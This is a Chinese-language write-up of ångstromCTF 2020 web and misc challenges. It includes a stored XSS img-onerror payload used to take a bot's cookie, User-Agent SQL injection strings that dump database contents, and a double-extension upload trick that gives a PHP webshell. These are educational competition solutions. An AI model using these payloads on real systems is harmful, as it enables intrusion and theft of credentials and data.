🇺🇸ångstromCTF 2020 Writeup 6 min read
本文最后更新于 576 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com


比赛地址:https://2020.angstromctf.com/

WEB

The Magic Word

考点:inspect element

打开之后是个单页面,查看元素发现如下代码:

var msg = document.getElementById("magic");
            setInterval(function() {
                if (magic.innerText == "please give flag") {
                    fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
                        .then(res => res.text())
                        .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
                }
            }, 1000);

来到对应magic元素:

<p id="magic">give flag</p>

审查元素,修改为please give flag,得到flag:

flag: actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}


Xmas Still Stands

考点:XSS

一个博客系统,可以发布文章,但是<script>永远在<p>标签内无法执行,但是构造闭合后<img>可行,所以可以onerror事件触发JavaScript实现存储型XSS,payload:

aaaaaa<img src=x onerror=your js here>

发表成功后提交给bot打到cookie

然后手工设置cookie,即可得到flag

flag:actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}


Git Good

考点:Git泄露、commit

题目描述:

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed 

a very work in progress challenge

 so I thought it was worth sharing.

由于是和git相关,首先考虑Git泄露,访问.git发现不存在:

然后用dirb跑一下,发现这个目录是存在的….

上githack,得到源码,在thisistheflag.txt文件中得知:

There used to be a flag here...

所以考虑需要去commit中寻找历史版本,但是找了半天也没找到Repo地址,于是直接上GitExtract一把梭

flag:actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}


Secret Agents

考点:flask代码审计、UA注入

给了flask源码:

from flask import Flask, render_template, request
from .secret import host, user, passwd, dbname
import mysql.connector
dbconfig = {
	"host":host,
	"user":user,
	"passwd":passwd,
	"database":dbname
}
app = Flask(__name__)

@app.route("/")
def index():
	return render_template("index.html")

@app.route("/login")
def login():
	u = request.headers.get("User-Agent")
	conn = mysql.connector.connect(pool_name="poolofagents",
					pool_size=16,
					**dbconfig)
	cursor = conn.cursor()
	for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
		if r.with_rows:
			res = r.fetchall()
			conn.close()
			break
	if len(res) == 0:
		return render_template("login.html", msg="stop! you're not allowed in here >:)")
	if len(res) > 1:
		return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")
	return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

if __name__ == '__main__':
	app.run('0.0.0.0')

很明显可以的UA头注入,先测试一下发现返回两列结果,输出第一列

表名:

User-Agent: 1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

<p>Welcome, Agents</p>

字段名:

User-Agent: 1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()#

<p>Welcome, Name,UA</p>

字段值:

User-Agent: 1' and 1=2 union select group_concat(Name),2 from Agents#

<p>Welcome, GRU,vector but elon musk&#39;s brother,actf{nyoom_1_4m_sp33d},wile e. coyote,PLANKTON,mort,shaggy, destroyer of worlds,matt, lord of fitness,admin</p>

flag:actf{nyoom_1_4m_sp33d}


Defund’s Crypt

src.php得到源码:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="/style.css">
        <title>Defund's Crypt</title>
    </head>
    <body>
        <!-- Defund was a big fan of open source so head over to /src.php -->
        <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
        <h1>Defund's Crypt<span class="small">o</span></h1>
        <?php
            if ($_SERVER["REQUEST_METHOD"] === "POST") {
                // I just copy pasted this from the PHP site then modified it a bit
                // I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
                try {
                    if (
                        !isset($_FILES['imgfile']['error']) ||
                        is_array($_FILES['imgfile']['error'])
                    ) {
                        throw new RuntimeException('The crypt rejects you.');
                    }
                    switch ($_FILES['imgfile']['error']) {
                        case UPLOAD_ERR_OK:
                            break;
                        case UPLOAD_ERR_NO_FILE:
                            throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
                        case UPLOAD_ERR_INI_SIZE:
                        case UPLOAD_ERR_FORM_SIZE:
                            throw new RuntimeException('People can only remember so much.');
                        default:
                            throw new RuntimeException('The crypt rejects you.');
                    }
                    if ($_FILES['imgfile']['size'] > 1000000) {
                        throw new RuntimeException('People can only remember so much..');
                    }
                    $finfo = new finfo(FILEINFO_MIME_TYPE);
                    if (false === $ext = array_search(
                        $finfo->file($_FILES['imgfile']['tmp_name']),
                        array(
                            '.jpg' => 'image/jpeg',
                            '.png' => 'image/png',
                            '.bmp' => 'image/bmp',
                        ),
                        true
                    )) {
                        throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
                    }
                    if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
                        throw new RuntimeException("The name of your memory doesn't seem to match its content.");
                    }
                    $bname = basename($_FILES["imgfile"]["name"]);
                    $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
                    if (!move_uploaded_file(
                        $_FILES['imgfile']['tmp_name'],
                        "./memories/" . $fname
                    )) {
                        throw new RuntimeException('Your memory failed to be remembered.');
                    }
                    http_response_code(301);
                    header("Location: /memories/" . $fname);
                } catch (RuntimeException $e) {
                    echo "<p>" . $e->getMessage() . "</p>";
                }
            }
        ?>
        <img src="crypt.jpg" height="300"/>
        <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
            <p>Leave a memory:</p>
            <input type="file" id="imgfile" name="imgfile">
            <label for="imgfile" id="imglbl">Choose an image...</label>
            <input type="submit" value="Descend">
        </form>
        <script>
            imgfile.oninput = _ => {
                imgfile.classList.add("satisfied");
                imglbl.innerText = imgfile.files[0].name;
            };
        </script>
    </body>
</html>

可以看到,判断后缀名使用了不安全的数组搜索操作:

false === $ext = array_search(
                        $finfo->file($_FILES['imgfile']['tmp_name']),
                        array(
                            '.jpg' => 'image/jpeg',
                            '.png' => 'image/png',
                            '.bmp' => 'image/bmp',
                        ),
                        true
                    )

上传后保存文件名时,直接后面拼接上了原文件名的点后面的内容:

$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
                    if (!move_uploaded_file(
                        $_FILES['imgfile']['tmp_name'],
                        "./memories/" . $fname
                    )) {
                        throw new RuntimeException('Your memory failed to be remembered.');
                    }

所以只要上传aaa.jpg.php即可getshell:

在根目录得到flag

flag:actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}


Consolation

题目只引用了一个js,扫目录、header、cookie等都没有flag,但是js实在是太难懂了。

在点击按钮的时候调用了nofret(),跟进:

function nofret() {
    document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19;
    console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));
    console['clear']();
}

每次执行后都会把console给clear掉了。把源码down到本地,那clear换成个console.log()之类的东西,然后调用这个函数,控制台就会输出flag了


A Peculiar Query

单写了篇文章,链接:https://www.gem-love.com/websecurity/2070.html


Misc

Sanity Check

先进Discord的频道,在#role处点击一条消息的:triangular_flag_on_post:后便可以访问其他的channel

在#general得到flag

flag:actf{never_gonna_let_you_down}


ws1

不用看都是什么流量,直接用wireshark的搜索,在packet detail中搜索string,直接得到flag

flag:actf{wireshark_isn’t_so_bad_huh-a9d8g99ikdf}


ws2

依然是流量题,但是搜索不到flag,查看一下发现是上传,所以可以直接用wireshark的export把上传的东西导出来

导出图片之后无法打开,用HexFiend发现前面填充了一些数据

删掉之后,图片成功打开,得到flag

flag:actf{ok_to_b0r0s-4809813}


ws3

先导出http文件

但是无法直接打开,所以用binwalk分离一下,分出来一张图片,打开得到flag

flag:actf{git_good_git_wireshark-123323}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1974.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇